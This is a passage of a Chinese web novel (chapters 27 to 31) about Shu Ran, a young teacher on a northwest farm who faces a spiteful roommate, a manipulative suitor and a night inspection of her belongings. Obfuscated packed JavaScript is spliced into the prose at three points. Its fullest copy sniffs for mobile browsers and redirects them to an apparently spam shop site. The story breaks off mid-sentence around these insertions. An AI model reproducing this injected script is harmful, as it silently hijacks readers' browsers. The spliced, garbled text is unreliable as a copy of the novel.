周巧珍的声音不大不小,刚好能让走近的人听见,带着一种夸张的惋惜,眼神却瞟着驴车来的方向,充满了幸灾乐祸,“到底是城里来的娇小姐,细皮嫩肉的,哪干得了这粗活?让她挑水,可不就跟要她命似的?桶都挑散架了!” 旁边一个妇女附和着:“就是,听说手上还破着口子呢,腰也伤着,这不是难为人嘛……” “难为?”周巧珍立刻带着正义的愤慨,“这叫什么话?劳动是光荣的!你看看人家李大壮嫂子,家里娃娃小,不也一样挑水做饭?她舒染同志成分特殊,就更该好好表现!桶坏了是意外,可这态度……啧啧,我看她是压根没把这劳动放在心上!你们是没看见她刚才在连部路口跟我说话那架势,还顶嘴呢!” 她巧妙地颠倒了部分事实,将舒染的回应扭曲成了顶嘴。 驴车吱呀着走近了。 路口闲聊的几个妇女和周巧珍都看了过来。看到驴车上浑身泥水的舒染,以及驴车上两个明显裂开的破桶时,眼神各异。有纯粹看热闹的,有带着点同情的,也有被周巧珍的话影响,露出些微鄙夷的。 舒染没等驴车完全停稳,忍着腰疼,利落地跳下车辕。她没看周巧珍,而是先对老杨头深深鞠了一躬,声音清晰而真诚:“杨叔,今天真是多亏您了!这一桶水,救了我们宿舍的急!谢谢您!” 老杨头摆摆手:“顺路的事儿,客气啥!舒老师你快回去换身衣裳吧,别着凉!”他赶着驴车继续朝驴棚方向去了。 舒染这才转过身,目光平静地扫过周巧珍和她身边那几个妇女。她的狼狈和周巧珍刻意营造的“娇小姐逃避劳动”的舆论场形成了鲜明对比。 “舒老师,这……这是咋弄的?”一个略显担忧的声音响起。舒染循声看去,只见张桂芬不知何时也站在了稍远一点的树下,怀里还抱着孩子,显然是听到了动静过来的。旁边还站着两三个新送孩子来上学的家属,包括之前送石灰块的瘦高个妇女王翠花。 舒染对着张桂芬和那几位新学生家长,笑着说:“没事,桂芬嫂子,王姐,就是水桶年头久了,箍不结实,半路上桶箍突然断了,水洒了,人也摔了一下。幸好碰上杨叔的驴车,帮我把剩下这点水捎回来了。”她指了指驴车上那个桶,“好歹没让大家晚上没水用。” 她解释得简单直接,没有任何诉苦和推诿的意味,只是陈述了意外的事实和自己的补救措施。 张桂芬一听,立刻往前走了两步,声音不大却带着维护:“哎呀!桶坏了啊?那真是怪不得舒老师!那老柏木桶,用了多少年了,箍都朽了!舒老师你摔着没?腰上的伤要紧不?” 她转头对周巧珍说,“巧珍啊,你看,这桶坏了是意外,舒老师也不是 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那几个被周巧珍拉来传闲话的妇女,眼神都有些闪烁,不好意思再说什么,讪讪地找借口散了。 周巧珍像是一拳打在了棉花上,她狠狠瞪了舒染一眼,又剐了张桂芬和王翠花一下,从牙缝里挤出一句:“哼!说得比唱得好听!明天?我倒要看看你怎么挑满!”说罢,扭身气冲冲地往宿舍走去。 张桂芬和王翠花松了口气,连忙上前想帮舒染提那桶水。舒染婉拒了:“嫂子,王姐,我能行,就几步路了。谢谢你们。”她感激地对她们点点头。 张桂芬欲言又止,最终还是抱着孩子,和王翠花她们一起目送舒染提水走向地窝子。 就在舒染弯腰提起沉重水桶的瞬间,眼角的余光不经意地扫向连部方向,在几十米开外,一个挺拔的深蓝色身影静静地立在那里看着她。 是陈远疆。 他不知在那里站了多久。阳光勾勒出他略显冷硬的面部轮廓:高挺的鼻梁带着异于常人的峻峭,眼窝比寻常汉族人更深邃几分,浓密的睫毛在眼下投下一小片阴影,遮住了眸色。 即使隔着距离,也难掩那种既符合汉族审美又带着异域风情的气质。 他的目光扫过她湿透粘在小腿上的裤管,最后落在那只晃荡的水桶上。 舒染迅速低下头,掩饰住慌乱,用尽全身力气提起水桶,走向地窝子。 刚才路口发生的一切,都落入了那双锐利而沉静的眸子里。 他看到了什么?又会怎么想? 舒染她捏紧了水桶提梁。这场挑水任务虽然暂时告一段落,但留下的涟漪,以及未知的波澜,恐怕才刚刚开始扩散。 她捏紧了水桶提梁。裤兜里,那包用来摆脱困境的雪莲烟,已经空空如也。而前方那个弥漫着无声硝烟的地窝子,正等待着她。 28. 第 28 章 地窝子的门帘被掀开又落下,带进一股尘土的气息。舒染提着那桶沉重的水,脚步有些虚浮地走进来,整个人狼狈得像刚从泥坑里捞出来。 昏暗的光线下,王大姐和李秀兰立刻围了上来。 “哎哟我的老天爷!”王大姐一眼看到舒染湿透的裤腿和泥点斑驳的上衣,还有她明显苍白疲惫的脸色,惊呼出声,“这是摔了?快放下快放下!”她赶紧接过水桶放在一边,那分量让她也晃了一下。 李秀兰则眼疾手快地扶住舒染的胳膊,让她坐到自己的铺沿上:“舒染姐,腰没事吧?”她说着就要去掀舒染的后衣襟。 “没事秀兰,真没事。”舒染按住她的手,勉强挤出一个笑,“就是桶箍突然断了,水洒了一身,摔了一跤,没伤着骨头。”她避重就轻,不想让她们太担心,也不想显得自己太脆弱。 “那桶呢?”王大姐放下水桶,看着舒染空空的两手,又看看她一身狼狈,不放心地问。 “桶……桶彻底坏了,箍断了,桶壁也裂了。”舒染叹了一口气,懊恼地说。 那是连队配发的物资,坏了是要登记报损的,还不知道会不会被周巧珍揪住做文章。 “老杨叔帮我把破桶捎回来了,放在外面。” “这破桶!用了多少年了!早该换了!”王大姐愤愤不平,“你腰没好利索,看看这弄的!”她一边说着,一边麻利地从自己铺底下翻出一条相对干净但洗得发硬的旧毛巾,递给舒染,“快擦擦,湿裤子赶紧换下来,别捂出病来!” 李秀兰也叹了口气,倒了小半盆早上省下来的温水,端到舒染脚边:“舒染姐,先擦擦腿和脚,赶紧换上干的。这湿气往骨头缝里钻可不得了。” 舒染没再说话接过毛巾浸湿了拧干,仔仔细细地擦拭着腿上的泥。 舒染脱下湿透的外裤和鞋子,换上一条备用的军装裤。这条裤子膝盖处已经磨得发白,洗得缩水,裤脚短了一截,露出纤细的脚踝。 鞋子只能暂时穿着湿透的皮鞋,脚底一片冰凉。 这时王大姐不知从哪里拿出一双解放鞋递给舒染,悄声道:“你回来之前,陈干事给我的,说是你们老师的配额,托我给你送回来。” 说完这些,她回头看了看,确认周巧珍没看过来,看着舒染的眼睛问:“染妹子,你们真有配额吗?我可看到陈干事拿着鞋子从供销社出来的。” 舒染眉头皱了一下,她目前是不知道这么一回事的。 王大姐见她犹豫,不管三七二十一地把东西塞到她怀里,“既然陈干事说了,那就是有,刚好你这个皮鞋也不适合在这穿,糟蹋了。快擦擦收起来吧。” “谢谢王大姐,秀兰。”她低声道谢,她是真的感受到了暖意。 现在不是诉苦的时候,她需要尽快恢复点力气,还有更重要的事情等着她。 至于那双解放鞋,姑且算是她的配额吧,到时候找个机会问问他。她现在没新鞋子换,而且供销社早都下班了,大不了到时候再买一双新鞋给他。 周巧珍坐在自己的铺位上,背对着她们,手里装模作样地翻着一本《毛选》。刚才路口那一幕,显然让她在连队女工里丢了面子。 舒染收拾停当,换上了干爽的上衣,总算不那么狼狈了。 她走到角落那只半人高的粗陶水缸前,踮起脚,费力地将桶里的水“哗啦”一声倒了进去。 浑浊的水花溅起几点,落在缸沿上。缸底那层薄薄的水终于被覆盖,水面晃晃悠悠,离满还差得远。 “哼,就这么点儿?”周巧珍凉飕飕的声音飘过来,“够谁用的?资本家小姐就是金贵,挑个水都跟要了命似的,还弄坏公家东西!” 王大姐打着圆场:“桶箍老化断了,是意外。到时候拿去修修就好了,我和秀兰今天都在单位擦洗过了,用不了多少水。” 李秀兰也跟着帮腔:“是啊巧珍姐,我那还存了半盆水,我给你端来。”说着就要去端水。 周巧翻了个白眼:“行了行了,别装了,你们俩帮她说话真当我看不出来啊!” 舒染啧了一声,冰冰地看向周巧珍,“明天我会去后勤说明情况,该赔该修,按规矩办。水,明天一早我去挑满。” 她顿了顿,没等周巧珍再开口,又补了一句:“周巧珍同志,宿舍是大家休息的地方,不是批斗会场。你要是实在想针对我,明天你去找书记、找连长、找陈干事去打我的报告吧!” 这话堵得周巧珍一噎。她可以刁难,可以散布闲话,但舒染搬出了“休息场所”这种正当得不能再正当的理由,她再纠缠就显得下作又无理。 她重重地“哼”了一声,把手里的书往铺上一摔,跳下床摔帘而去。 舒染这才松了口气,将湿透的衣裤团起来,塞到床脚一个破筐里,打算明天找地方洗。 她闭着眼瘫坐在铺上,只想喘口气。 天色已经暗沉下来。舒染心里盘算着:身上的黏腻感挥之不去,今晚无论如何得去那个泉眼好好擦洗一下。现在最要紧的,是去食堂填饱肚子,恢复体力。 食堂里人声鼎沸,混杂着窝窝头、咸菜疙瘩和偶尔飘过的几丝油荤气。 舒染打了饭,找了个角落相对安静的桌子坐下。刚咬了一口窝窝头,还没来得及喝口菜汤,一个身影就端着碗在她对面坐了下来。 是周文彬。 他比上次见面似乎更瘦了些,眼镜片后的眼睛带着点熬夜后的红丝和一种刻意压低的兴奋。 他左右飞快地扫了一眼,见附近没什么人特别注意他们,才往前倾了倾身子,声音压得极低,带着一种分享秘密的急切:“舒染,有消息了!” 舒染咀嚼的动作顿了一下,抬眼看他,眼神带着询问,没说话。 “回上海的事!”周文彬几乎是气音,“我这些天,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看着周文彬镜片后那充满隐秘欲望的眼神,胃里一阵翻腾。 周文彬见她脸色变了,以为她被吓到,连忙换上体贴的语气:“当然,舒染,我们是老乡,又是这种处境,我肯定不能看着你吃亏。实在……实在不行,还有个更稳妥的法子。” 他舔了舔有些干裂的嘴唇,“咱俩可以先……结婚。我家在上海的底子还是有的,人脉也还有些。等结了婚,我就有更充分的理由申请调动,等我先回去了,站稳脚跟,再想办法把你弄回去!你这么好的姑娘,留在这大西北磋磨,太可惜了!真的,我……” 他后面的话没说出口,但那赤裸裸的眼神已经表明了他的心思——他看上她了。这张脸,这个资本家小姐身上流露出的脆弱感,反而成了一种刺激他的东西,这一切都是他此刻想抓住的。 舒染只觉得一股寒气从脚底窜到头顶。周文彬的算盘打得震天响。口头支票画得无比诱人,核心却是要她立刻付出代价——要么是身体,要么是婚姻这个枷锁。一旦套上,回上海?只怕是镜花水月,更大的深渊在等着她。她甚至怀疑,周文彬所谓的门路有几分真。 29. 第 29 章 “周文彬同志,”舒染放下筷子,直视着对方,“谢谢你的好意。不过,我现在是启明小学的老师,孩子们离不开人。至于回上海……我成分不好,不敢连累你和你家的人脉。你的门路,你自己走好就行。我自己的路,我自己慢慢蹚。” 她的拒绝干脆利落,没有一丝拖泥带水,更没有扯什么“扎根边疆、奉献青春”的崇高口号。理由很简单:不相信你的空头支票,也不想把自己赔进去。 周文彬脸上的表情瞬间僵住,变得极其难看。他没想到舒染拒绝得如此干脆利落。 “哟,聊什么呢这么严肃?”一个清脆的声音插了进来。许君君端着饭盒,笑吟吟地在舒染身边坐下,很自然地把舒染往里挤了挤,隔开了她和周文彬,“周技术员,又在给我们舒老师传授你的农科知识啊?” 她这话半是玩笑半是解围,眼睛却带着点审视地看着周文彬。 周文彬的脸色更难看了,他勉强扯出一个笑容:“许卫生员说笑了,随便聊聊。你们吃,我先去忙了。”他端起几乎没动的饭盒,几乎是落荒而逃。 看着周文彬走远,许君君脸上的笑容淡了下来,凑近舒染,声音压得低低的:“他是不是又跟你说回上海的门路了?” 舒染点点头,舀了一勺寡淡的菜汤送进嘴里,没什么滋味。 “哼,我就知道。”许君君撇撇嘴,带着过来人的了然和不屑,“这段时间,不少人都在私下活动这事。回城的诱惑太大了,能理解。但像他这样,打着幌子想占姑娘便宜的,可不少。” 她语气严肃了些,“舒染,我跟你讲,你可千万别信他那些鬼话。我听说,三连就有个傻姑娘,信了某个有门路的男知青,结果……唉,人财两空,名声也毁了。那男的早不知道跑哪儿钻营去了!” 舒染心里一阵发凉。许君君的话印证了她的猜测。在这个特殊年代,回城的执念足以让一些人铤而走险,也足以让另一些人化身豺狼。她庆幸自己是清醒的。 舒染低声说:“我知道轻重。只是……听到‘回去’两个字,心里还是忍不住会乱一下。”这是她心底的实话。 许君君理解地点点头,拍了拍她的胳膊,算是安慰。随即,她像是想起了什么,眉头微蹙:“对了,跟你说个事。我今天去连部送药品消耗单,听马连长和赵主任他们在开会,好像有人提了一句,说最近要加强连队管理,特别是……思想和生活纪律方面。” 她顿了顿,声音压得更低:“好像还提到要警惕某某思想回潮,点了几样不合时宜的物件、穿奇装异服?”她意味深长地看了舒染一眼,“我听着那调调,像是有人专门递了话上去。你……最近小心点。周巧珍今天在你这里吃了瘪,指不定会出什么阴招。” 深夜不归!舒染的心猛地一沉。周巧珍的动作这么快?这是要把大帽子往她头上扣,甚至可能想牵连出她别的事? 一个念头电光火石般闪过脑海。 “君君!”舒染放下勺子,语气带上了急切,“你那里有没有书?卫生、急救、或者……农业知识方面的都行!旧的也行!” 许君君一愣:“书?你要这个干嘛?现在可不好找。” “急用!”舒染眼神恳切,“我想着给孩子们多拓展点知识,也……也充实一下自己。你知道的,我那点东西都翻来覆去看烂了。你有的话,借我几天就行!我保证爱护,用完立刻还你!” 许君君虽然有点疑惑舒染的急切,但看她神色不似作伪,想了想:“我宿舍倒是有两本,一本是《赤脚医生手册》,还有一本是讲怎么种棉花和防治病虫害的农技小册子,都是以前培训发的,你要看?” “要!都要!”舒染立刻点头,“太好了!君君,你真是救星!待会儿吃完饭,我跟你去你宿舍拿,行吗?” 许君君被她逗笑了:“行行行,看你急的。吃完饭一起去拿吧。” “对了,”许君君扒拉完最后一口饭,凑到舒染耳边,用只有两人能听到的气声说,“等天黑透了,大家都熄灯了,老地方,我带上盆和毛巾香皂去找你‘换药’。” 舒染会意地点了点头。两个年轻姑娘交换了一个心照不宣的眼神。 食堂的喧嚣渐渐散去,舒染和许君君对视一眼,默契地起身。 许君君带着舒染,穿过连队土路,走向卫生员和几个女知青合住的地窝子。 许君君的地窝子比舒染她们的要稍大些,也更规整,弥漫着一股淡淡的消毒水和草药混合的味道。 掀开门帘进去,两个年轻姑娘正围坐在铺着旧报纸的小木桌旁,一个在缝补衣服,一个在看旧报纸,还有一个在整理一堆晒干的蒲公英。 “君君回来啦?”缝补衣服的姑娘抬起头,看到舒染,露出善意的笑容,“舒老师也来啦?快进来坐。” “小玲,红梅,”许君君一一招呼,语气熟稔,“舒染想借两本书看看,我带她来拿。” “舒老师想看书?好事儿啊!”看报纸的小玲放下报纸,热情地说,“我们这儿书可稀罕,就几本□□和农技手册,君君那儿专业书多点。” 整理草药的红梅也抬头笑了笑:“舒老师坐,地方窄,别嫌弃。” 舒染连忙说:“打扰你们了,我就拿本书就走。” 她感受到一种与她的宿舍截然不同的氛围,少了周巧珍带来的压抑,多了几分年轻知青之间相对单纯的善意。 许君君从自己铺位下拖出一个旧木箱,打开,里面除了药品纱布,果然放着几本书。 她拿出两本,一本是深绿色封面的《赤脚医生手册》,纸张粗糙厚实;另外两本本是薄薄的黄褐色小册子,封面上分别印着《盐碱地改良》与《棉花种植技术要点》。 “喏,就这几本,你先看着。”许君君递给舒染。 舒染如获至宝般接过,连声道谢:“太谢谢你了君君!我看完就还!”她小心地把书抱在怀里。 又简单寒暄了几句,舒染便告辞出来。回到宿舍,王大姐和李秀兰已经躺下,发出轻微的鼾声。周巧珍不在,应该还在连里串门。 她轻手轻脚地爬上自己的铺位,摸着黑打开自己的樟木箱。摸索了一阵后,她悄悄带着帆布提包去了趟连部。 挨着工具棚教室的办公室都黑灯瞎火的,干部们早就回家了。 她来到教室,借着窗外微弱的月光,她迅速打开自己的提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那个黑影在原地徘徊了几分钟,没有发现她们的踪迹,低声咒骂了一句什么,声音很模糊。最终放弃了搜寻,悻悻离去。 直到确认那脚步声彻底远去,两人才敢大口喘气,惊魂未定。 “吓死我了……”许君君拍着胸口,声音还带着颤,“肯定是周巧珍那话传出去了!不知道哪个闲得发慌的混蛋!” 舒染也是心有余悸,后背一片冰凉。她看向泉眼的方向,眼神凝重:“今晚不能洗了,太危险。” 万一那人没走远,或者还有别人呢? 两人小心翼翼地靠近泉眼。借着月光,舒染的心又沉了一分。 那个小小的渗水点,水渗出的速度明显变慢了。 “水……好像少了?”许君君也发现了,声音带着担忧。 舒染蹲下身,用手指沾了点水,“嗯,看来这水源不稳定。”这个发现让她的心情更加沉重。赖以维持一点清洁的秘密,也如此脆弱。 两人不敢久留,匆匆用搪瓷盆接了可怜的小半盆水,便准备离开。 刚走出红柳丛,一道挺拔的身影静静地立在前方不远处的土坡上,月光勾勒出他深蓝色的军装轮廓和冷峻的侧脸。 陈远疆! 他显然也看到了她们,目光扫过她们手中的搪瓷盆和湿漉漉的手,眼神带着审视。 舒染和许君君瞬间僵在原地,头皮发麻。完了!怎么偏偏撞上他! 30. 第 30 章 刺眼的手电光柱打在两人身上,舒染和许君君呆站在那里,站也不是跑也不是。 陈远疆似乎是刚从别处巡视过来,他手里握着一把裹着布套的的物件,靴子上沾满了泥土和草屑。 “谁?”陈远疆的询问压迫感十足。 许君君吓得腿一软,差点跪倒,全靠舒染死死拽着她的胳膊才勉强站稳。 舒染强迫自己迎向那刺眼的光源,“是……是我们,陈干事。我是舒染,启明小学的舒染。这是卫生员许君君。”她必须立刻表明身份,消除敌特嫌疑。 “手里拿的什么?”陈远疆的冷冰冰的。 “……水。”舒染艰难地吐出一个字,“从……从那边洼地舀的。”她不敢提泉眼的事。 “水?”陈远疆的语调带着质疑。他走到两人面前,距离近得舒染能闻到他身上的……硝烟味?舒染的心里一下子警惕起来。 陈远疆关掉手电,伸出手,用眼神示意那个搪瓷盆。 舒染僵硬地将盆递过去一点,让水面展露在的目光下。 陈远疆微微俯身,借着手电筒的光看向搪瓷盆里的水,水面上悬浮着沙粒。 终于,他抬眼看着面前两个惊魂未定的姑娘,“这点水,不够洗澡。” 舒染的脸烧了起来,一半是羞窘,一半是恐惧。她无法反驳。 “深更半夜,跑到连队边界,”陈远疆的声音沉了下去,“知道这里离边境线有多远吗?知道最近有敌特在这一带活动吗?” 许君君吓得几乎要哭出来。 舒染迎着陈远疆的目光,声音带着坦诚:“对不起,陈干事!我们……我们不知道情况这么严重!我们只是……只是身上太脏,听说这边有点渗水,想弄点水擦擦……绝对没有别的意思!我们这就回去!保证不再犯!” 她认错认得干脆,态度诚恳。 陈远疆的目光在她脸上停留了十几秒。舒染能感觉到许君君在自己身边抖如筛糠。 最终,陈远疆收回了视线,手电光也移开了些,侧身让开了挡在她们面前的路。 他不再理会她们,重新投向黑暗,很快隐没在夜色中。 直到那束手电光彻底消失,不远处响起了渐行渐远的马蹄声。二人才长舒一口气。 “他……他知道……他什么都知道了……”许君君有些语无伦次。 舒染抱着那盆浑水点点头。是的,他知道了。他知道她们在找水,知道她们想洗澡,甚至可能猜到了那个泉眼的存在。但他没有点破,也没有追究。 舒染和许君君面面相觑,带着满腹的惊疑和后怕向连队里走去。 当舒染抱着搪瓷盆回到女工宿舍门口时,里面的气氛却很压抑。 煤油灯被拨得比平时亮了许多。周巧珍叉着腰站在地中央,她身边,站着两个穿着旧军装、面色严肃的青年——是连队的保卫干事!王大姐和李秀兰也被惊醒了,坐在铺边,脸色担忧地看着舒染。 “哟!我们爱干净的舒老师回来啦?”周巧珍的语气带着一种终于抓到把柄的亢奋,“深更半夜的,这一身土一身水的,去哪儿劳动了?” 她不等舒染回答,立刻转向那两个保卫干事,语速飞快地告状:“刘干事,王干事!你们看看!我就说她有问题!身上总带着股香皂味儿,深更半夜也往外跑,谁知道是不是有别的门路弄水?说不定是偷了连里的储备水!不然哪来的水洗澡?” 她说着,还刻意凑近舒染嗅了嗅,然后夸张地皱眉,“看!湿的!还有沙子!鬼鬼祟祟!” 舒染本来心惊胆战,但看到周巧珍那副急不可耐的样子,反而冷静下来。 她放下搪瓷盆,让所有人都能清晰地看到她:头发沾着沙土,没洗;脸和脖子是干的,裤腿和鞋子沾着湿泥和沙子。 眼明的人都能看出来,她根本没洗澡。 “周巧珍同志,”舒染的声音平静:“我去哪里,做什么,似乎不需要向你汇报。至于偷水?你有什么证据?我这盆里这点浑水,是从西边洼地里舀的,你要检查吗?” 她指了指地上的搪瓷盆,里面的很浑浊,连盆壁都沾着泥沙。 周巧珍被噎了一下,看到盆里的浑水,也愣了一下,显然和她预想的不符。但她立刻调转枪口,指着舒染那个宝贝的樟木箱,声音更加尖锐:“好!就算水的事你没抓着现行!那这个呢?她那个宝贝箱子里,指不定藏着什么见不得人的东西呢!不然怎么那么金贵?天天锁着?我……我怀疑她偷藏危险品!我的东西丢了!搞不好就是她拿了藏在里面!” 她目的只有一个——开箱检查! 王大姐忍不住出声:“巧珍!你胡说什么!舒老师箱子里能有啥?她天天教娃娃……” “王大姐!”周巧珍厉声打断她,“你别被她蒙蔽了!资本家小姐,思想能干净吗?刘干事,王干事,为了连队的安全,我请求检查她的箱子!看看里面到底藏了什么见不得光的东西!李秀兰,你说!她箱子里是不是有那种……那种睡衣?”她试图拉拢李秀兰作证。 所有人的目光都聚焦在李秀兰身上。李秀兰脸色发白,嘴唇哆嗦着,看看咄咄逼人的周巧珍,又看看面色平静的舒染,再看看那两个保卫干事。 “我……我不知道……”李秀兰低下头,“舒老师的东西,我……我没注意看过……” “你!”周巧珍气得差点跳脚。 就在这时,门帘再次被掀开。陈远疆走了进来。 舒染看看他,心想着这家伙怎么来得这么快。 他目光迅速扫过屋内的情形,然后舒染脸上停留了一瞬,随即落在那个樟木箱上。 “怎么回事?”陈远疆的声音冷硬。 “陈干事!”周巧珍像看到了救星,“舒染她深夜不归,行为可疑!我怀疑她偷水,还怀疑她箱子里藏了违禁品!我东西丢了,很可能就在她箱子里!请求检查!刚好您是上面的人,还专门管大事,所以把您叫来评评理!” 陈远疆的目光看向舒染,带着询问。 舒染深吸一口气,从裤兜里掏出钥匙。她知道,这一刻躲不过去了。她走到樟木箱前,在所有人的注视下,咔哒一声打开了锁。 箱盖掀开。 没有想象中的不合时宜地衣物和书籍。最上面一层放着两本书:一本是深绿色的《赤脚医生手册》,一本是黄褐色的《棉花种植技术要点》。书皮都有些磨损,但摆放得整整齐齐。 箱子下面,是几件叠放整齐但洗得发白的旧衣服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16361305|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以及一些教学用的粉笔头、废纸片。 一目了然。 周巧珍不敢置信地瞪大了眼睛,失声叫道:“不可能!她的睡衣呢?那个真丝的……”她话一出口就意识到不对,立刻住了嘴。 所有人的目光都下意识地再次聚焦在箱子上,仿佛想穿透那几件旧衣,找出点什么。 陈远疆看向樟木箱 舒染的心砰砰直跳,她不敢看陈远疆,那件真丝睡衣,他见过,他一定记得! 然而,陈远疆没有说话,只是沉默地看着。 王大姐观察了一下情况,立刻大声说:“看看!陈干事,刘干事,王干事!舒老师箱子里有啥?都是正经书!都是干活教书的家伙什儿!哪有什么睡衣?周巧珍她……她这是血口喷人!天天盯着舒老师找茬!” 李秀兰也鼓起勇气说:“舒老师……舒老师是好人,教娃娃可认真了。那睡衣……我、我从来没见过。” 周巧珍的脸一阵红一阵白,嘴唇哆嗦着,指着舒染:“你……你藏起来了!一定藏起来了!陈干事!她……” “够了!”一个带着睡意和不满的声音在门口响起。 连长马占山披着外衣走了进来,“大半夜的!吵吵什么!周巧珍!又是你!” 马占山看看现场:两个面面相觑的保卫干事、一脸严肃的陈远疆、一脸委屈的周巧珍、抱着搪瓷盆一身狼狈的舒染,以及打开的樟木箱。 “检查箱子?”马占山眉头皱成疙瘩,看向保卫干事,“查出来啥了?” 刘干事摇摇头:“报告连长,就两本书和一些衣物用品,没有违禁品。” 马占山又看向陈远疆。陈远疆微微摇头,依旧沉默。 马占山心里大概有了数。他烦躁地挥挥手:“胡闹!周巧珍,你丢了东西就乱怀疑同志?还闹得连里的保卫干事都来了!我看你就是太闲了!” 他顿了顿,目光在周巧珍和舒染之间扫了扫,显然也受够了周巧珍三天两头的小报告。 “这样吧!宿舍是休息的地方,不是战场!周巧珍,你明天收拾一下,搬到三排那边的女工宿舍去!那边正好空了个铺位!都给我消停点!” 周巧珍脸色瞬间惨白。搬走?这意味着她在众人面前彻底丢了脸,意味着她失去了在宿舍管理舒染的权力!她还想争辩:“连长!我……” “就这么定了!”马占山不耐烦地打断她,“明天就搬!都散了!睡觉!”他说完,打着哈欠,头也不回地走了。 连里的两个干事也跟着离开了。 陈远疆看了一眼舒染,依旧什么都没说,转身消失在门外。 宿舍里只剩下四个女人。 周巧珍颓然地跌坐在自己的铺位上,眼神里充满了不甘。 王大姐和李秀兰松了口气,连忙上前帮舒染把搪瓷盆放到角落。 舒染默默地合上樟木箱,咔哒一声锁好,后背的冷汗此刻才慢慢浸出。 她看了一眼失魂落魄的周巧珍,又看了看那盆浑浊的水,疲惫如同潮水般涌来。 今晚,她守住了箱子,送走了周巧珍,但那个小小的泉眼,似乎也离她更远了。 陈远疆那洞悉一切却又选择缄默的眼神,像一根刺扎在她的心上。 31. 第 31 章 隔壁铺位空了,周巧珍在天没亮就摔摔打打地收拾了铺盖卷搬走了。地窝子里的压抑气氛也随着她的离开散了些,可舒染心里却坠着另一块石头。 舒染侧躺在铺上,后背抵着土墙。 昨晚陈远疆那沉默的一瞥,他看见了什么?他猜到了什么?那处红柳丛下越来越慢的渗水…… 她翻了个身,指尖下意识地隔着单衣碰了碰裤腰内侧,那里缝着个口袋,硬硬的触感还在。是雪花膏盒子最后剩下的一点底子,用油纸包好塞在里面。 直到天刚蒙蒙透出点灰白,舒染就爬了起来。 她拎起角落里那只柏木桶,准备先去后勤报损。 “染妹子,真要去挑水啊?”王大姐也醒了,撑起半个身子,语气带着担忧,“你腰没好透,那桶又沉……” “没事,大姐。”舒染尽量让声音听起来轻松些,“我少装点,多跑两趟。话都说出去了,总得做。”她顿了一下,声音低了些,“那破桶……也得去后勤报损。” 李秀兰也醒了,默默地看着舒染没说话。 后勤其实就设在仓库旁边的一个小地窝子里,门开着,里面点着煤油灯,光线昏暗。负责管理杂物的老于头正打着哈欠坐在那。 舒染走进去,将破桶放在地上,“于师傅,麻烦报损一下。昨晚挑水,桶箍老化断了,桶也裂了,没法用了。” 老张头眯着眼看了看那破桶叹了口气:“唉,这桶是够年头了……行吧,我给你登记上。不过新桶得等,库里暂时没富余的了,先用旧的凑合吧。”他转身从角落里拎出两只箍还算完好的柏木桶递给舒染。 舒染道了谢,接过两只旧桶正要离开,门口的光线被挡住了。 又是陈远疆。 他显然也是刚结束什么神秘的任务,深蓝色的军装外套沾着露水,裤脚塞在高筒马靴里,靴子上泥点斑驳,手里提着一个裹着油布的包裹。 陈远疆的视线在她脚上那双解放鞋上扫了一眼。 对,那双鞋……舒染一直记着王大姐的话。 “陈干事。这双解放鞋,是您托王大姐给我的吗?” 陈远疆“嗯”了一声,没再说话。 舒染被他看得有些不自在,硬着头皮继续说下去:“王大姐说是……我的教师配额?但我之前没听说有这个配额。这鞋看着挺新的。如果是您个人的,我不能要,不能占公家或者您个人的便宜。我……” 她顿了一下,似乎在斟酌措辞,“我回头想办法去供销社看看,买一双新的还您。” 她不想欠下这份不明不白的人情。 陈远疆的眉头蹙了一下,目光从她脸上移开,落回她手里拎着的旧桶上,“嗯,桶坏了?” 舒染心里翻了个白眼:这不是明知故问么! 但表面上她还是如实回答:“嗯,上次挑水的时候,箍断了。” 陈远疆点了点头,侧身让开了门口的路,视线投向门外,语气是公事公办的平淡:“新桶要等。先用着旧的,小心点。”他顿了一下,补充道,“……旗杆,早上看过,还稳。” 说完这句没头没尾的话,他不再看舒染,径直走向老张头的桌子,将手里的油布包裹放下,发出沉闷的声响。 舒染站在原地,一时有些茫然。他是什么意思?鞋子的疑问被轻飘飘地挡了回来,只换来一句关于旗杆和桶的叮嘱。 她抿了抿唇,不再追问,低声说了句:“谢谢陈干事。”然后拎着桶,有些吃力地侧身从陈远疆身边挤出了后勤股的门。 舒染回头看了一眼,陈远疆背对着她,正和老张头低声说着什么,背影挺拔而疏离。 不管是不是配额,舒染都决定再买一双还回去。 她压下心里的纷乱,拎着桶朝着通往涝坝的盐碱小路走去 快到涝坝时,远远地看见几个早起的妇女正在排队打水,压低的说话声顺着风飘过来,零碎地钻进舒染耳朵里。 “……可不是?昨晚闹得可大阵仗!连保卫干事都惊动了……” “啧啧,说是查箱子?查啥呀?资本家小姐的箱子,能是啥好东西?” “谁知道呢!周巧珍这回踢到铁板了,被连长撵去三排了……” “哎,我昨儿傍晚倒听供销社那边换粮票的哈族老乡提了句,说啥……汉人女老师,手脚不干净?深更半夜摸黑出去……弄水?听着就不像正经来路!” “嘘——!小声点!人来了!” 那议论声戛然而止。 舒染的表情纹丝不动,挺直了腰背走过去。 “大伙都聊着呢?”舒染左右看了看,煞有介事地说:“哎你们听说了吗!大事!” 排队的几个妇女好奇地围过来听八卦。 舒染神秘地说:“我们宿舍搬走那个,挨罚啦!” “谁,周巧珍吗?”有人忍不住问。 舒染点点头:“对!说是什么传播谣言,组织上要好好处理她呢!听说啊她在打小报告的同时,也有人打她的报告,还是和她关系特别好的!” 